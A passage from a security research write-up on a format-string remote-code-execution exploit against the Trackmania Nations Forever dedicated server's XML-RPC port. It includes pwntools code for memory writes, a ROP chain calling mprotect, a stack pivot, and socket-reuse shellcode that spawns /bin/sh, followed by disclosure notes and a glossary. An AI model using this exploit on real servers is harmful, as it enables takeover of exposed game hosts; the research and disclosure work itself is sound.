  • assert len(value) <= 4 makes sure the value fits in four bytes.
  • for i, byte in enumerate(value): walks over each byte of the value, with its position i.
  • set_target_addr(addr + i) points the multiplexer at the byte of the target address that should receive this byte.
  • val = 0x100 + byte - initial computes the padding, and %hhn writes the single byte.

The 0x100 values are there to overflow once, so that values smaller than len("Track '") can be written: the printed count wraps around past 256 and lands on the small number.

ROP

At this point there are primitives for reading and writing, so it is pretty much game over. After trying a couple of exploitation strategies, the researcher ended up writing a ROP chain directly on the stack and jumping to it by overwriting a saved return pointer. A return pointer is the address a function jumps back to when it finishes; overwriting it redirects the program. ROP, return-oriented programming, is a technique for making a program do new things by chaining together small existing code fragments, called gadgets, each ending in a return. The chain calls mprotect, a system call that changes the permissions of a memory region, to make the stack executable before jumping directly to the included shellcode. Shellcode is a small piece of machine code that the attacker wants the victim to run.

Here is the code that generates the ROP chain. It makes heavy use of pwntools, a Python library for writing exploits, to keep the code readable:

Python
argv = read(g_argv_leak)
main_ret = argv - 0x290
log.info(f"Overwriting        : {hex(main_ret)}")

# + 0x2bc offset to move the ROP chain down a bit,
# see next paragraph
rop_base = main_ret + 0x2bc + 4

context.binary = e = ELF("TrackmaniaServer")
context.kernel = context.arch
rop = ROP(e)
int_80_ret = next(e.search(asm("int 0x80; ret;")))

rop.eax = constants.SYS_mprotect
rop.ebx = rop_base & 0xfffff000
rop.ecx = 0x3000
rop.edx = 0x7
# Make the stack executable
rop.call(int_80_ret)
# Jump to the stack
rop.call(rop.jmp_esp)

rop.raw(shellcode)

Line by line:

  • argv = read(g_argv_leak) reads the stack address stored in g_argv_leak.
  • main_ret = argv - 0x290 calculates where the saved return pointer of main sits, a fixed distance from that address.
  • rop_base = main_ret + 0x2bc + 4 calculates where the ROP chain will be placed, further down the stack.
  • context.binary = e = ELF("TrackmaniaServer") loads the server program so pwntools knows its addresses.
  • int_80_ret = next(e.search(asm("int 0x80; ret;"))) finds a small gadget that performs a system call (int 0x80) and then returns.
  • rop.eax = constants.SYS_mprotect and the next three lines set up the arguments for mprotect: which memory region, how large, and which permissions.
  • rop.call(int_80_ret) makes the system call.
  • rop.call(rop.jmp_esp) jumps to the stack.
  • rop.raw(shellcode) appends the shellcode after the chain.

One final complication is that the stack needs to remain somewhat valid throughout the entire process. This is solved by writing the ROP chain further down the stack (at a higher address) and jumping to it with a small gadget. Overwriting the return pointer with this gadget needs to happen in one go, because the address must be valid for the game loop to run successfully:

Python
# Slow(er) write primitive. The actual write is one-shot
def write_one(addr, value):
    set_target_addr(addr)
    initial = len("Track '")
    log.info(f"WRITE(0x{addr:x}, {value})")
    value = u32(value)
    value -= initial

    s = f"%{value}d%{offset_3}$n"
    throw(s)

log.info("Triggering pivot, prepare for shell")
# 0x08064446: add esp, 0x2bc; ret;
write_one(main_ret, p32(0x08064446))

Line by line:

  • write_one points the multiplexer at the address, then writes the whole value in a single %n call rather than byte by byte.
  • value = u32(value) turns the four bytes into a number, and value -= initial subtracts the prefix length.
  • write_one(main_ret, p32(0x08064446)) overwrites the saved return pointer with the address of the gadget add esp, 0x2bc; ret;. That gadget moves the stack pointer down to where the ROP chain was written and returns into it. This is called a stack pivot.

Shellcode

The shellcode can do pretty much anything. The only thing to keep in mind is that the process's stdin is not accessible: stdin is the standard input, the channel a program normally reads typed commands from. A reverse shell would work, meaning the victim connects back to the attacker and hands over a command prompt. The researcher opted for some (admittedly more fragile) socket reuse shellcode instead, which takes over the network connection the attacker already has:

Python
# Socket re-use shellcode
# <3 https://www.exploit-db.com/exploits/34060
shellcode = asm(f"""
/* We use sys_dup(2) to get the previous attributed sockfd */
push 0x2;
pop ebx;
push 0x29;
pop eax;
int 0x80; //-> call dup(2)
dec eax;

/* Now EAX = our Socket File Descriptor */

mov esi, eax;

/* dup2(fd,0); dup2(fd,1); dup2(fd,2); */
xor    ecx,ecx;
push   esi;
pop    ebx;

.loop:
push   0x3f;
pop    eax;
int    0x80;
inc    ecx;
cmp    cl, 3;
jne    .loop;

/* execve /bin/sh by ipv */
push 0xb;
pop eax;
cdq;
push edx;
xor esi, esi;
push esi;
push 0x68732f2f;
push 0x6e69622f;
mov ebx, esp;
xor ecx, ecx;
int 0x80
""")

Line by line:

  • push 0x2; pop ebx; push 0x29; pop eax; int 0x80; sets up and performs a system call: ``0x29isdup22, which duplicates a file descriptor. A file descriptor is a number the operating system uses to refer to an open file or connection. int 0x80 is how a 32-bit Linux program asks the kernel to do something.
  • dec eax; and mov esi, eax; save the resulting socket number.
  • After this, anything the program prints goes to the attacker's connection, and anything typed there is read by the program.
  • The last block calls execve (0xb) with the string /bin/sh, which starts a command shell.

Demo

A demo video was recorded against the researcher's own VPS, a rented server on the internet. The terminal in the top-left shows the stdout of the VPS, which shows the vulnerable printf in action. The bottom left shows the log file, where the actual track names being requested can be seen.

Or watch on YouTube
YouTube video From the original on blog.bricked.tech

Closing remarks

Given the extremely low complexity of previous work, the researcher is convinced there are far worse vulnerabilities in TMNF. If someone put in the work to target the game protocol or the map parser, there would be much easier bugs to exploit. The game protocol is the language the game client and server speak to each other; the map parser is the code that reads map files.

That raises the question of whether it is even secure to play old games like this online. At least in Ubisoft's case, there is zero incentive to report bugs in older games. And even if a bug is reported, what are the odds it gets fixed? The researcher says that just doing this research was enough to stop them playing TMNF online or loading user-created maps.

The current state of exposed RPC

The initial impression was that nobody would expose RPC over the internet anyway. It is not the default setting, and you get a big warning if you do enable it. Still, an exposed RPC port was found for over 10% of the public dedicated servers in the limited port range scanned (5000-5100).

To be clear, not all of those are necessarily vulnerable. They might be Windows based or running in daemon mode, meaning as a background service without /nodaemon. The exploit was not tested against them, so the real number of vulnerable online hosts is unknown. The researcher was just surprised to find this much RPC in the first place. About half of these also show up on Shodan, a search engine for internet-connected devices, though the filter used requires a subscription.

Disclosure

From the start, it was clear that reporting bugs for this project would be hard. The researcher asked in the Trackmania discord for a contact, which initially seemed to work. However, after providing details and a full exploit over email, it went quiet. A few weeks before posting, another email was sent to Nadeo, the game's developer, asking whether they had any plans to patch or announce something, but that also fell on deaf ears.

Before making this research public, several server owners were contacted with the mitigation advice at the start of the post.

Links

Glossary

  • XML-RPC: a way for two programs to call each other's functions over a network, using requests written in XML.
  • Dedicated server: a machine that hosts a game for many players, separate from any player's own computer.
  • RPC: remote procedure call, the general idea of running a function on another machine as if it were local.
  • Format specifier: a short code such as %s, %p or %n inside a format string that tells the printing function what to do.
  • %p: prints a pointer (a memory address).
  • %s: prints a string found at an address.
  • %n: writes the number of characters printed so far to an address.
  • %hhn: like %n, but writes only a single byte.
  • printf / fprintf: C functions that print formatted text; fprintf prints to a chosen output such as a log.
  • stdout: the standard output, the normal text channel a program writes to.
  • stdin: the standard input, the channel a program normally reads typed commands from.
  • stderr: the standard error channel, used for error messages.
  • SIGSEGV: the signal the operating system sends to kill a program that accessed memory it is not allowed to.
  • Dereference: follow an address and read the value stored there.
  • Pointer: a number that is the address of something in memory.
  • Stack: the memory region holding the short-lived data of currently running functions.
  • Heap: the memory region a program uses for data it creates while running.
  • Stack frame: the block of stack memory belonging to one function call.
  • Base pointer: a saved marker of where a function's stack frame begins.
  • Return pointer: the address a function jumps back to when it finishes.
  • Canary: a secret value on the stack that a program checks before returning, to detect tampering.
  • NX: a protection that marks memory such as the stack as non-executable.
  • PIE: position independent executable, a program that can be loaded at any address; without it, addresses are fixed and predictable.
  • RELRO: a protection for the table of function addresses a program uses.
  • Statically compiled: built so that all libraries are baked into one file.
  • Checksec: a tool that reports which safety features a compiled program has.
  • GDB: a debugger for pausing and inspecting running programs.
  • pwndbg: an extension to GDB that makes memory and stack inspection easier.
  • Breakpoint: a marker that pauses a program when it reaches a chosen line.
  • vmmap: a debugger command that shows which memory region an address belongs to.
  • Binary Ninja: a tool that turns compiled machine code back into readable C-like code.
  • Decompilation: the process of turning compiled machine code back into higher-level code.
  • Fuzzer: a program that feeds lots of unexpected input to a target to find crashes.
  • Primitive: a small, reliable capability an exploit builds on, such as reading or writing memory.
  • Arbitrary write: the ability to write a chosen value to a chosen address.
  • Memory disclosure / leak: a bug that makes a program reveal memory contents to the attacker.
  • Offset: a distance, here the argument number in a printf call that reaches a wanted pointer.
  • LSB: least significant byte, the last byte of a number.
  • Multiplexer: a switch that selects one of several inputs; here it selects which byte of an address to overwrite.
  • Global: a variable that exists for the whole life of the program and is visible everywhere in it.
  • argv: the list of command-line arguments a program was started with.
  • ROP (return-oriented programming): chaining together small existing code fragments, each ending in a return, to make a program do something new.
  • Gadget: one of those small code fragments.
  • Stack pivot: changing the stack pointer so that execution continues into a chain the attacker placed elsewhere.
  • Shellcode: a small piece of machine code the attacker wants the victim to run.
  • mprotect: a system call that changes the permissions of a memory region.
  • System call: a request from a program to the operating system kernel.
  • int 0x80: the instruction a 32-bit Linux program uses to make a system call.
  • File descriptor: a number the operating system uses to refer to an open file or connection.
  • dup / dup2: system calls that duplicate a file descriptor.
  • execve: a system call that starts a new program.
  • Reverse shell: a shell where the victim connects back to the attacker and hands over a command prompt.
  • Socket reuse shellcode: shellcode that takes over the network connection the attacker already has, instead of opening a new one.
  • Remote code execution (RCE): taking over a machine so that the attacker can run their own commands on it.
  • CTF: capture the flag, a legal hacking puzzle or competition.
  • Firewall: a filter on network traffic that decides which connections are allowed in.
  • Daemon mode: running a server as a background service, without /nodaemon.
  • Shodan: a search engine for internet-connected devices.
  • VPS: a virtual private server, a rented machine on the internet.
  • Triage: examining a crash and working out its cause before trying to exploit it.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.